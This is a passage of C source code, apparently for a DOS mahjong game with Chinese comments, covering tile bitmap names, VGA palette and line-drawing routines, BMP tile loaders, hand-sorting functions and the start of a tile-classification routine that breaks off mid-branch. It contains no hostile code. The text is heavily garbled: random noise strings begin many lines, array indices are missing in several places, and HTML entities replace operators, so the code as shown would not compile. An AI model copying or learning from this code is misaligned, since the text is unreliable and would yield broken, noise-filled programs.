/ C" g; F& i' @/ K"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
" N8 d& @; Z2 @; F  q( {"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
, ^, d  v  H) ^; S"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
' c& O# @' M2 J1 y+ f  A"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
6 j5 h6 {# ]8 ^3 X"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
: W! Q+ A& R% z8 G% e: i1 X"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
' `: I4 T, b$ N. n) Q) y8 z+ d"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
6 j% T. j. X8 O; C" S1 N% I4 `"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
5 D7 d  J, y2 S: ~9 M2 ~- e"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
! T* `  F/ ]5 c  L1 ?" o"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
& E$ \3 W. D5 r4 a. y"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
% C, q; R: f5 z) J8 z! \# K"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
"34.bmp"};
, E& h2 D2 [% `$ Tstruct every
{ int *k; /*名字*/
int oneorfour; /*同一张牌的第几张*/
int number; /*第几张牌136*/
int p;
5 E0 o! Q  a( I0 gint g;
1 x1 F; K0 x$ Q6 A6 }0 wint c;
3 M4 }/ `: o7 K4 H( gint d[2];
  u: E3 z" F8 |3 m+ J) H8 e  c" {! g};
struct me
' l) g' w' K5 Z, {: P6 V+ O3 Y{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
int p; /*乓对方*/
' F8 N( V0 o3 p: v  M2 T! xint c; /*吃对方*/
& p. Q9 q+ g8 }. E# z' T+ gint g; /*杠*/

4 j( M; e9 ^% Q. p2 {struct every pp[14]; /*存放手上的牌*/
7 P# h# P- _$ g}me;
struct computer
" W  m7 G" C/ \+ w' ?! s{ int m;
- j3 y) b* r3 R0 c6 d/ D+ G( Oint p;
4 l, l/ Y! B$ `5 t! @4 D5 Zint c;
int g;
struct every pp[14];
}computer,comp;

' i, }4 F* i2 t7 M: B, s6 x/* 设置调色板 */
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
. }* a' x9 t5 J9 l! ]outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
$ K' k& R' Y6 B7 i% |, C2 Ioutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
6 _4 O; o" U2 b4 v) R, t- moutportb(0x3c9,g);
6 i, E0 ^+ R) a/ G+ ^. Routportb(0x3c9,b);
. `  M0 ~5 `8 k$ f  \3 w' s}
9 k% U) h; R& \/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/* 设置显示模式的函数 */
2 X& `# y1 K' }& S$ w, Fvoid Set_Video_Mode(int mode)
{
. h" C6 B  {2 i( C8 {union REGS inregs,outregs; /*定义输入和返回寄存器*/
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
4 E3 d0 t' C% O; W( Y  N8 y4 T. \1 Vinregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
}
7 I7 X; o8 C0 t) o& h2 y* h7 Uvoid v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
if(y0&gt;y1)
- I: S1 H/ H  z6 M{
4 r" ?' Q/ m/ I. }4 }temp=y1;
y1=y0;
y0=temp;
* g& s* B% M" e9 l% x  d  D5 l( O- c}
address=320*y0+x;
6 e8 A+ N. I5 F  Ufor(n=0;n&lt;=y1-y0;n++)
# k6 m6 K) b3 V3 q{
video_buffer[address]=color;
address+=320;
}
}
4 I' _6 Y2 [3 n  S  o4 avoid h_line(int x0,int x1,int y,unsigned int color)
0 c8 B* U, l' D9 m' L7 ]$ S{ unsigned int address,n,temp;
) B  @- G" K* Z) y, s6 k- o% d* mif(x0&gt;x1)
  Q# l  d- D( @9 t{
2 B! t; T/ _% q+ X* ktemp=x1;
x1=x0;
x0=temp;
}
address=320*y+x0;
6 e( O" X7 o; B$ S. [for(n=0;n&lt;=x1-x0;n++)
$ u' j. F" I$ E! t1 W( C{
video_buffer[address]=color;
address+=1;
3 y; a- [: ]6 g* c; }}
}
' Y( a7 j  f4 J" W8 @: G6 |void p_pixel(int x,int y,unsigned int color)
{ video_buffer[y*320+x]=color;
+ s8 x: E5 |5 E5 W6 b}
void s_square(int x,int y,int side,int color)
+ o0 U, U2 N8 |4 I  }{
h_line(x,x+side,y,color);
. b5 [( e1 n/ V9 ^h_line(x,x+side,y+side,color);
v_line(y,y+side,x,color);
6 a; \$ [+ w5 P# [: }v_line(y,y+side,x+side,color);
6 Y; B0 q2 q2 N3 N: i8 H. W/ l}
void r_rectangle(int x1,int y1,int x2,int y2,int color)
4 {$ E5 b/ p( M: s; P" a- X4 u) x{
h_line(x1,x2,y1,color);
9 }+ Q, n( b$ L0 b8 d" Yh_line(x1,x2,y2,color);
v_line(y1,y2,x1,color);
v_line(y1,y2,x2,color);
9 K( U' G* J8 C- O/ R8 U0 ?8 o}
. M% a1 |* F% Q. M% S5 L+ `, g2 c5 i& Ovoid fillRectangle(int x1,int y1,int x2,int y2,int color)
3 m, u- t  K2 Z3 X/ K$ Q* b6 O{
$ T' m; P+ ^' ^- a2 Aint i;
- |" x* d0 T& {: qfor(i=y1;i&lt;=y2;i++)
/ T6 N& G0 l: e" N5 b. Z- S; P{
h_line(x1,x2,i,color);
0 @* k' Z4 Y2 I2 Q- n4 ~& v}
2 f  \  s. I1 o9 U2 M; |# N}
2 B9 I: {( Q3 c; |void showbmp(int l)
: q5 I% Q- ]. O{ FILE *bmp;
/ u! z/ x5 Q* [: |4 {int i,x,y;
BYTE palette[256][3];
% l$ f5 c* X, c% N0 H4 }bmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
/ W  z6 ~, A" l6 P: h2 w5 x$ @for(i=0;i&lt;256;i++)
{
5 T% ^. j8 g) B/ Z5 B$ g/ X. O9 Gpalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
! u+ P& a, j2 ?; f$ x  `2 C2 ypalette[0]=fgetc(bmp)&gt;&gt;2;
5 u5 W) q# O3 `4 X1 h6 Efgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
' G2 f6 ]$ B. U' j6 N1 y}
for (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
+ x, _. M) D6 E. s, ?# ^' rfclose(bmp);
, u# s7 N( k. ]( Y& k4 D# J}
: B% @/ m. ?; H# P+ F8 O4 z) O5 dvoid showbmpd(int l)
{ FILE *bmp;
int i,x,y;
# p9 L" ~' y9 h/ C/ qBYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
% M2 V- e- C( n8 \3 L% y5 Lfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
* A7 v# c) N2 t3 f% x{
- e5 o& J' q- ~palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
( j9 B' U! {" t/ }for (y=0;y&lt;30;y++)
) u* l1 X+ z- k4 P: z" s0 d- Y/ j' @6 ~for(x=0;x&lt;20;x++)
" [6 L5 V  S6 J8 j! k4 m6 y& ipokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
. I6 q' B7 L  X2 X3 N}
) s; S, g" _. g. Evoid showybmp(int ll)
; ^6 d. J: l( F9 L$ u  Q, R& e{ FILE *bmp;
int i,x,y;
4 U% J* u( L4 \: ]* ABYTE palette[256][3];
bmp=fopen(computer.pp[ll].k,"rb");
3 y; }' O, H8 D6 U; t) gfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
6 I, \& I7 M3 d* h* \0 J' P{
2 P& G+ P8 J9 B  Opalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
* b+ X% z7 z; Y- A6 T3 ?5 ]fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
; [. Q! }* p& E; w' F. q6 o' u, rfor (y=0;y&lt;30;y++)
7 q  d, k, U) Z* l$ }* ]for(x=0;x&lt;20;x++)
8 Q  C2 i! O. K1 n. _pokeb(0xa000,y*320+x+zy,fgetc(bmp));
, A6 @0 M' t  e% h" J; R- L1 ufclose(bmp);
}
+ m0 [0 X. N/ E' yvoid showcbmp(int ll)
{ FILE *bmp;
int i,x,y;
9 n7 {2 O7 ]/ H7 q7 g6 [9 P/ ~8 yBYTE palette[256][3];
bmp=fopen(computer.pp[ll].k,"rb");
% P! R4 D9 X& U. _2 rfseek(bmp,54,SEEK_SET);
* R2 [/ N& m  }+ @for(i=0;i&lt;256;i++)
{
4 L3 X7 s+ I8 U! o9 I# \' H3 a' \palette[2]=fgetc(bmp)&gt;&gt;2;
! H/ w' x6 z# u* b! dpalette[1]=fgetc(bmp)&gt;&gt;2;
! x' j" r* L# y" p; u4 x2 upalette[0]=fgetc(bmp)&gt;&gt;2;
4 f7 ~8 d, l: yfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
/ K. _, l& T1 i  v6 x! N. e}
( d1 X& k0 [6 ofor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
! I" Y" j. ^, ]& E9 m. o  B6 R7 Spokeb(0xa000,y*320+x+zyy,fgetc(bmp));
* J& ]) i: m/ J# ~1 J# `fclose(bmp);
}
void bmpp(int number)
. ]- P) `, e- O* |{ FILE *bmp;
. |9 i- {9 {7 d% f' R$ J7 F. H. Tint i,x,y;
BYTE palette[256][3];
' C  z! u( o+ S' F9 U8 cbmp=fopen(m[number].name,"rb");
( x" C) Z( B/ D. Q. f) v3 a7 q' [fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
& I: b6 x: C* `" R{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
) w  ?7 N% j/ C  b" N& p}
/ U) f$ F) r3 o% }for (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
' _) ^+ N; @: [pokeb(0xa000,y*320+x+zl,fgetc(bmp));
fclose(bmp);
}
void comlipai() /*整理电脑的牌*/
{ int n,j,u;
int *lingshi;
- H  M5 B2 l3 C" L% r( Ffor(n=0;n&lt;computer.m;n++)
for(j=n;j&lt;computer.m;j++)
$ L6 Q  t! p" J2 [/ J& l* ?* {+ I{
/ [" c, Y6 M4 t8 f) aif(computer.pp[n].number&gt;computer.pp[j+1].number)
' F% f" Y& o" T. y" q{
8 E: v+ L6 F" U$ {lingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
2 r& P. D- K* Qcomputer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
) r$ {6 p" _! l" o  Fcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
0 L2 s9 }: f4 y4 R) j, B: A, `computer.pp[j+1].oneorfour=u;
u=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
2 j9 B3 B4 M$ M! W6 F}
else
: m. }* L7 q' I% W+ S7 xif(computer.pp[n].number==computer.pp[j+1].number)
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
{
* h) D& S5 s; Y3 r8 C! ?lingshi=computer.pp[n].k;
7 E7 H0 U0 |4 b% hcomputer.pp[n].k=computer.pp[j+1].k;
3 }8 d; u- M! O: vcomputer.pp[j+1].k=lingshi;
2 G& l! S0 Q0 x+ i4 hu=computer.pp[n].oneorfour;
: T9 V0 W" [* I+ ^& ocomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
computer.pp[j+1].oneorfour=u;
u=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
! b1 ]$ L- w( Y3 t! ?+ ]# f- V8 Y/ L}
}
}
. |- C, r! m' v5 N$ ovoid melipai()
7 ?! t; M' _9 w+ w6 Y; b% z9 p{ int n,j,u;
int *lingshi;
for(n=0;n&lt;me.m;n++)
for(j=n;j&lt;me.m;j++)
{
& ?+ ^$ o2 P: |) Hif(me.pp[n].number&gt;me.pp[j+1].number)
{
lingshi=me.pp[n].k;
6 w2 J: N; i7 ^3 S( \# k& i3 Ume.pp[n].k=me.pp[j+1].k;
$ D% @$ Q- E+ W9 [9 pme.pp[j+1].k=lingshi;
u=me.pp[n].oneorfour;
7 }# ~2 W; y$ {/ q' c' @% Cme.pp[n].oneorfour=me.pp[j+1].oneorfour;
  x/ C+ Y7 @6 s: \2 f" U) [me.pp[j+1].oneorfour=u;
u=me.pp[n].number;
me.pp[n].number=me.pp[j+1].number;
me.pp[j+1].number=u;
}
else
if(me.pp[n].number==me.pp[j+1].number)
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
{
, \' p! A' v; g2 _2 g. l* R8 Dlingshi=me.pp[n].k;
4 F' h/ S7 g% Hme.pp[n].k=me.pp[j+1].k;
me.pp[j+1].k=lingshi;
0 v4 {& X. F0 gu=me.pp[n].oneorfour;
4 s5 b2 U" M7 hme.pp[n].oneorfour=me.pp[j+1].oneorfour;
9 H# c4 s( [2 t7 \0 S9 Z, O8 ^8 Pme.pp[j+1].oneorfour=u;
$ N0 O; O# R6 C" q% a( s* ]% su=me.pp[n].number;
6 V4 q' t- n! c! n' `4 eme.pp[n].number=me.pp[j+1].number;
( I& p4 }6 a! ?" n' S( M8 _8 `me.pp[j+1].number=u;
  \: t/ \$ [  N0 m" L3 y}
7 h; Z! M$ j# Z% O# H4 z: B}
6 X1 ^- [, j/ z9 P7 X}
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
9 N8 N- Z; Q! L7 Q) j{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
) s# m2 i9 R' r1 m$ iif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
( B2 z+ i/ R% x" ^3 |  {. }& n- ^{
6 Q0 T/ `/ w9 z# ]6 [- _, ^0 Xlogo=1;
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
! f" J$ v1 o* y: M! O  D0 b+ Slogoo=1;
9 k2 G4 D& ~1 ?9 W. _else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
( p7 m3 k0 Q: b9 \2 ?. j' Klogoo=2;
* t  _: M/ u6 @9 i6 c( F+ Z  Melse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
8 |  m1 C( h  I; _logoo=3;
( {/ {8 H) x2 j2 c- belse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
logoo=4;
/ p% s; W7 O' _' S& E8 N" G* q9 Lelse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
! b" T3 X" g+ Qlogoo=5;
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
logoo=6;
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
1 j6 h+ S( X2 J0 |' Y+ ologoo=7;
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
logoo=8;
  g1 f" T9 E5 F! }" _9 @else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
logoo=9;
}
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
8 e# i3 i/ w1 W9 h5 T6 q- J8 ]0 K# k{
8 Z+ |( R! B3 l7 d& R! N+ nlogo=2;
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
; T: ^# Z, q5 Ulogoo=1;
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
logoo=2;
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
logoo=3;
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
logoo=4;
6 V! X/ X' n8 _$ ~4 ~! Oelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
7 j, Q6 R0 e6 i2 k! H- m% zlogoo=5;
6 f: I2 [' c" |& z: l! yelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
logoo=6;
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
% |3 {# \. m2 wlogoo=7;
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
7 B7 d2 T! S1 p  ~/ Llogoo=8;
' i' e* J( B5 `" belse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
logoo=9;
}
7 u- m5 b0 B) h- e2 Delse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
{
2 ~* \) k4 @9 ylogo=3;
1 n2 M* F0 L, c: B& o3 Dif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
/ a. A. F( D1 l6 \- h) z8 Plogoo=1;
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
logoo=2;
+ Z) H& m0 F1 i; ]8 {' y" }else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
- n: E7 w5 X- v5 M  T# glogoo=3;
* t) O/ _# F0 p, oelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
logoo=4;
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
logoo=5;
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
logoo=6;
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
logoo=7;
/ d% E/ T0 s+ [" I1 Q9 V7 m4 ]6 ^else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
% R) r3 a" A. J+ |logoo=8;
/ h9 ]( u4 R' q, v& G* T4 ~else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
logoo=9;
}
( [4 X3 w, ]% T4 ]# u1 Y' s  relse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
2 V* E& ^5 F7 b{
logo=4;
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
% m% g* t. v, |logoo=1;
: P0 S8 n" l, \; j  Yelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
- |! @+ s  A6 T4 Ilogoo=2;
* y0 z. a% e6 V  @. ^  v! Welse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
logoo=3;
3 N6 o' ]4 v- B+ [$ c  C& belse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
logoo=4;
3 e7 C- B# `& k0 E' v+ f9 M% _- K0 ^else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
  j- h8 Z) n! {5 U0 }( x2 alogoo=5;
3 q, ]2 h, [) uelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
8 M) X" m( L& K% {$ l: Llogoo=6;
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
logoo=7;
" s5 F" @) T+ Z  R}
- s- D/ |, P9 Y( T; \while(b&lt;=computer.m)
{
) y7 E2 P, h1 B! y  Zif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
{
; g) \0 Z( Q; [" Glg=1;
% q' j& A$ l8 s, K: n4 x9 mcomputer.pp.d[0]=1;
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
{
lgg=1;
/ s3 X. a& z- O5 f9 Pcomputer.pp.d[1]=1;
& f  E/ d! b: I% s  d3 d}
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
{
lgg=2;
computer.pp.d[1]=2;
}
! Z  n+ k- B, Y& n  `else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
{
9 F9 M% s1 L+ V3 R  Nlgg=3;
6 n% l. N5 @7 M' q4 Mcomputer.pp.d[1]=3;
) x( i9 @4 n0 _}
5 k0 y0 y5 v: xelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
4 N3 V: }% N. [3 F" C{
2 }  O; V5 n/ z8 Z. Z: ulgg=4;
computer.pp.d[1]=4;
}
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
{
lgg=5;
computer.pp.d[1]=5;
}
( K1 ?5 X% e; q7 @7 H7 pelse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
$ z# d1 O/ F7 ]: i% G0 S{
lgg=6;
* G1 M) p4 N( u* U: `computer.pp.d[1]=6;
' C- y5 @4 c" z1 |$ j1 J}
, ^' f; _0 L- v/ Celse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
% }% s4 F: C- m/ U+ i1 _% E5 T4 s{
lgg=7;
computer.pp.d[1]=7;
9 u6 d' L1 o( l0 }. M" B}
3 z3 V. @. L. a& M' lelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
{
# L; R8 L+ E3 ^$ ?; A7 y6 Rlgg=8;
: S+ x1 ~8 Z, y) J& \computer.pp.d[1]=8;
  u. W0 }& G; _3 F}
( C) X8 I2 b- T0 I" Eelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
9 ~; b# \" w* N% b, `/ y{
5 R0 f: ^5 }" u/ A' V9 G7 L% N8 jlgg=9;
7 m. [. c0 U* O5 o! V1 dcomputer.pp.d[1]=9;
}
}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
{
lg=2;
* |# v& O: W2 T9 A  scomputer.pp.d[0]=2;
, Q4 K. i- N. n! j- Yif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
  U7 F: F. G* J+ J/ D{
lgg=1;
computer.pp.d[1]=1;
}
) T; [) K" I6 Relse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
{
lgg=2;
" j% i# X% Y7 v# Ecomputer.pp.d[1]=2;
% ]3 D& W1 P. w/ f; Z) U}
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
7 z" x0 m5 b+ F4 O& k/ A/ M* A{
+ Q2 o1 O, v& C5 {! Y" klgg=3;
8 Q7 {( J2 M8 ?5 i' ]* Jcomputer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
{
lgg=4;
3 p% B! r+ j  e3 A" X' {computer.pp.d[1]=4;
7 h6 z8 w' P6 [) ^}
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
- h3 W1 Q5 F$ z! E" y, L{
lgg=5;
$ e+ }" |! m' L7 ^computer.pp.d[1]=5;
% c# T9 U1 q  \}
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
{
lgg=6;
& f8 @, ~; p5 o5 a2 q3 Z* Vcomputer.pp.d[1]=6;
' z1 b1 h7 g6 _+ s' H}
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
{
lgg=7;
3 {8 Q% W3 z$ _* Gcomputer.pp.d[1]=7;
9 ^6 i# d$ G" P- [6 S+ [}
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
7 M% n' Q# k' P7 z{
  u' o5 V+ s3 ?( Q# a( vlgg=8;
computer.pp.d[1]=8;
, _' D* b3 v6 [( V8 a2 u# Q  E1 y}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
{
1 O+ f8 W; I# w8 Y. k1 Nlgg=9;
computer.pp.d[1]=9;
" p6 q1 z5 h7 z5 h" E. B" n0 ?6 H}
}
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
{
, Z4 i* [2 v7 u, V3 n4 r5 Elg=3;
computer.pp.d[0]=3;
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
{
4 j/ O, {! \* a- T& M) q3 nlgg=1;
computer.pp.d[1]=1;
. D' x) [0 c/ b. M7 W1 D}
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
{
5 F6 v; C1 r6 n, Qlgg=2;
, Q4 ^& k. G$ ^3 r& u2 ^( }computer.pp.d[1]=2;
/ q1 h8 z8 j  ?+ m}
* k5 }; l3 E$ S3 Zelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
{
# u3 c: d+ W+ d, m& I1 U' W- K$ ~# ^lgg=3;
0 J% a1 B0 e3 l8 G7 b8 M) Ucomputer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
{
% K5 N+ F" T0 z  O0 K4 wlgg=4;
computer.pp.d[1]=4;
}
8 w- W3 [% s' }% a" eelse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
* v3 I8 L9 m2 I9 H{
lgg=5;
computer.pp.d[1]=5;
8 s! F5 P3 e" j. _}
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
{
8 E. ~& s0 v* r. d" ]lgg=6;
computer.pp.d[1]=6;
  m3 o( ^; @* [5 e; H1 u" P' ]3 }( @}
: e" [2 G; ?; @  l/ |) O6 Pelse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
- ?6 }. N% J" B* ^( ~{
lgg=7;
computer.pp.d[1]=7;
6 U$ v- W. F! ?" R! s; d$ m}
( S2 E' B1 l" r5 Nelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
{
) [! D2 y$ F) f  p# T% ^lgg=8;
6 e! R* \9 r/ p5 A9 vcomputer.pp.d[1]=8;
}
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
{
lgg=9;
computer.pp.d[1]=9;
) Z1 S8 H( F! n7 j* v}
/ P8 g7 h3 Z# o6 O( }& ?# b) U}
# P2 p* e4 ~$ X3 n  a4 @) zelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
" Z, H9 v1 A& m; e1 y3 d5 o{
  u5 E1 d( c7 t0 a' W( D8 {8 n  ?* u# Rlg=4;
computer.pp.d[0]=4;
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
{
lgg=1;
. y& _' a( m- d1 gcomputer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
{
lgg=2;
computer.pp.d[1]=2;
4 r, |% p1 D1 V) p0 P$ j}
/ p& \, D, Z* P& {' eelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
{
lgg=3;
: X' S% `- l6 F/ d, e: x) d; L7 {computer.pp.d[1]=3;
}
8 w% ^& a3 Y2 @$ b# ~1 O% Ielse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
$ l/ @6 W( B2 S1 f! r5 c{
5 Z1 p# w$ |, b; Wlgg=4;
* k, R7 k* l0 \* f7 Q" ecomputer.pp.d[1]=4;
}
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
{
4 L+ c8 c" ?: L/ Ulgg=5;
computer.pp.d[1]=5;
}
: U) b( f: ]" C$ n9 H" Zelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
